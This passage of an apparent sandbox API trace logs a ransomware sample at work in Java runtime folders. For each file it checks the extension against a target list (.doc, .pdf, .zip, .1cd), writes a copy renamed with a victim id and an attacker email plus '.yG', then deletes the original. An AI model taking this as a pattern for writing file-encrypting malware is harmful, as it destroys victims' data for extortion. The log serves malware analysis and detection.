	[0136.659] lstrlenW (lpString=".rar") returned 4
	[0136.659] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0136.659] lstrlenW (lpString=".bz2") returned 4
	[0136.659] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0136.659] lstrlenW (lpString=".7z") returned 3
	[0136.659] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0136.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0136.659] lstrlenW (lpString=".dbf") returned 4
	[0136.659] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0138.546] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3036922) returned 1
	[0138.546] CloseHandle (hObject=0x49c) returned 1
	[0138.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20
	[0138.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0138.548] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.548] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.684] GetLastError () returned 0x0
	[0138.684] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x14983, lpOverlapped=0x0) returned 1
	[0138.872] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x14990, lpOverlapped=0x0) returned 1
	[0138.874] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.874] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0138.874] SetEndOfFile (hFile=0x48c) returned 1
	[0138.875] CloseHandle (hObject=0x48c) returned 1
	[0138.875] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.875] SetEndOfFile (hFile=0x49c) returned 1
	[0138.881] CloseHandle (hObject=0x49c) returned 1
	[0138.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0138.881] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1
	[0138.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.882] lstrlenW (lpString=".doc") returned 4
	[0138.882] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0138.882] lstrlenW (lpString=".docx") returned 5
	[0138.882] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0138.882] lstrlenW (lpString=".pdf") returned 4
	[0138.882] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0138.882] lstrlenW (lpString=".xls") returned 4
	[0138.882] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0138.882] lstrlenW (lpString=".xlsx") returned 5
	[0138.882] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0138.882] lstrlenW (lpString=".ppt") returned 4
	[0138.882] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0138.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.882] lstrlenW (lpString=".zip") returned 4
	[0138.882] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0138.882] lstrlenW (lpString=".rar") returned 4
	[0138.882] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0138.882] lstrlenW (lpString=".bz2") returned 4
	[0138.883] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString=".7z") returned 3
	[0138.883] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0138.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.883] lstrlenW (lpString=".dbf") returned 4
	[0138.883] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.883] lstrlenW (lpString=".1cd") returned 4
	[0138.883] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.883] lstrlenW (lpString=".jpg") returned 4
	[0138.883] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.883] lstrlenW (lpString=".doc") returned 4
	[0138.883] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString=".docx") returned 5
	[0138.883] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0138.883] lstrlenW (lpString=".pdf") returned 4
	[0138.883] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString=".xls") returned 4
	[0138.883] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0138.883] lstrlenW (lpString=".xlsx") returned 5
	[0138.883] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0138.883] lstrlenW (lpString=".ppt") returned 4
	[0138.883] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0138.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.887] lstrlenW (lpString=".zip") returned 4
	[0138.887] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0138.887] lstrlenW (lpString=".rar") returned 4
	[0138.887] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0138.887] lstrlenW (lpString=".bz2") returned 4
	[0138.887] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0138.887] lstrlenW (lpString=".7z") returned 3
	[0138.887] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0138.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.887] lstrlenW (lpString=".dbf") returned 4
	[0138.887] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0138.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.888] lstrlenW (lpString=".1cd") returned 4
	[0138.888] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0138.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0138.888] lstrlenW (lpString=".jpg") returned 4
	[0138.888] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0138.888] lstrcmpiW (lpString1=".pf", lpString2=".yG") returned -1
	[0138.888] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0138.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.889] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=51236) returned 1
	[0138.889] CloseHandle (hObject=0x49c) returned 1
	[0138.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20
	[0138.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.889] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.890] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.892] GetLastError () returned 0x0
	[0138.892] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xc824, lpOverlapped=0x0) returned 1
	[0138.956] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xc830, lpOverlapped=0x0) returned 1
	[0138.958] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.958] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0138.958] SetEndOfFile (hFile=0x48c) returned 1
	[0138.959] CloseHandle (hObject=0x48c) returned 1
	[0138.959] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.959] SetEndOfFile (hFile=0x49c) returned 1
	[0138.962] CloseHandle (hObject=0x49c) returned 1
	[0138.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0138.963] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1
	[0138.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.963] lstrlenW (lpString=".doc") returned 4
	[0138.963] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0138.963] lstrlenW (lpString=".docx") returned 5
	[0138.963] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0138.963] lstrlenW (lpString=".pdf") returned 4
	[0138.963] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0138.963] lstrlenW (lpString=".xls") returned 4
	[0138.964] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString=".xlsx") returned 5
	[0138.964] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0138.964] lstrlenW (lpString=".ppt") returned 4
	[0138.964] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.964] lstrlenW (lpString=".zip") returned 4
	[0138.964] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString=".rar") returned 4
	[0138.964] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString=".bz2") returned 4
	[0138.964] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString=".7z") returned 3
	[0138.964] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0138.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.964] lstrlenW (lpString=".dbf") returned 4
	[0138.964] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.964] lstrlenW (lpString=".1cd") returned 4
	[0138.964] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.964] lstrlenW (lpString=".jpg") returned 4
	[0138.964] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.964] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.964] lstrlenW (lpString=".doc") returned 4
	[0138.964] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0138.964] lstrlenW (lpString=".docx") returned 5
	[0138.965] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0138.965] lstrlenW (lpString=".pdf") returned 4
	[0138.965] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString=".xls") returned 4
	[0138.965] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString=".xlsx") returned 5
	[0138.965] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0138.965] lstrlenW (lpString=".ppt") returned 4
	[0138.965] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.965] lstrlenW (lpString=".zip") returned 4
	[0138.965] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString=".rar") returned 4
	[0138.965] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString=".bz2") returned 4
	[0138.965] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString=".7z") returned 3
	[0138.965] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0138.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.965] lstrlenW (lpString=".dbf") returned 4
	[0138.965] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.965] lstrlenW (lpString=".1cd") returned 4
	[0138.965] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0138.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0138.965] lstrlenW (lpString=".jpg") returned 4
	[0138.965] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0138.966] lstrcmpiW (lpString1=".pf", lpString2=".yG") returned -1
	[0138.966] lstrlenW (lpString="GRAY.pf") returned 7
	[0138.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.966] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=632) returned 1
	[0138.966] CloseHandle (hObject=0x49c) returned 1
	[0138.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20
	[0138.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.967] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.967] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.968] GetLastError () returned 0x0
	[0138.968] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x278, lpOverlapped=0x0) returned 1
	[0138.969] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x280, lpOverlapped=0x0) returned 1
	[0138.970] ReadFile (in: hFile=0x49c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.970] WriteFile (in: hFile=0x48c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0138.970] SetEndOfFile (hFile=0x48c) returned 1
	[0138.970] CloseHandle (hObject=0x48c) returned 1
	[0138.970] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.970] SetEndOfFile (hFile=0x49c) returned 1
	[0138.973] CloseHandle (hObject=0x49c) returned 1
	[0138.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0138.974] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1
	[0138.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.974] lstrlenW (lpString=".doc") returned 4
	[0138.974] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0138.974] lstrlenW (lpString=".docx") returned 5
	[0138.974] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0138.974] lstrlenW (lpString=".pdf") returned 4
	[0138.974] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0138.974] lstrlenW (lpString=".xls") returned 4
	[0138.974] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0138.974] lstrlenW (lpString=".xlsx") returned 5
	[0138.974] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0138.974] lstrlenW (lpString=".ppt") returned 4
	[0138.974] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0138.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.975] lstrlenW (lpString=".zip") returned 4
	[0138.975] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString=".rar") returned 4
	[0138.975] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString=".bz2") returned 4
	[0138.975] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString=".7z") returned 3
	[0138.975] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0138.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.975] lstrlenW (lpString=".dbf") returned 4
	[0138.975] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.975] lstrlenW (lpString=".1cd") returned 4
	[0138.975] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.975] lstrlenW (lpString=".jpg") returned 4
	[0138.975] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.975] lstrlenW (lpString=".doc") returned 4
	[0138.975] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString=".docx") returned 5
	[0138.975] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0138.975] lstrlenW (lpString=".pdf") returned 4
	[0138.975] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString=".xls") returned 4
	[0138.975] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0138.975] lstrlenW (lpString=".xlsx") returned 5
	[0138.976] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0138.976] lstrlenW (lpString=".ppt") returned 4
	[0138.976] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0138.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.976] lstrlenW (lpString=".zip") returned 4
	[0138.976] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0138.976] lstrlenW (lpString=".rar") returned 4
	[0138.976] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0138.976] lstrlenW (lpString=".bz2") returned 4
	[0138.976] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0138.976] lstrlenW (lpString=".7z") returned 3
	[0138.976] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0138.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.976] lstrlenW (lpString=".dbf") returned 4
	[0138.976] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0138.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.976] lstrlenW (lpString=".1cd") returned 4
	[0138.976] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0138.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0138.976] lstrlenW (lpString=".jpg") returned 4
	[0138.976] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0138.976] lstrcmpiW (lpString1=".pf", lpString2=".yG") returned -1
	[0138.976] lstrlenW (lpString="LINEAR_RGB.pf") returned 13
	[0138.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
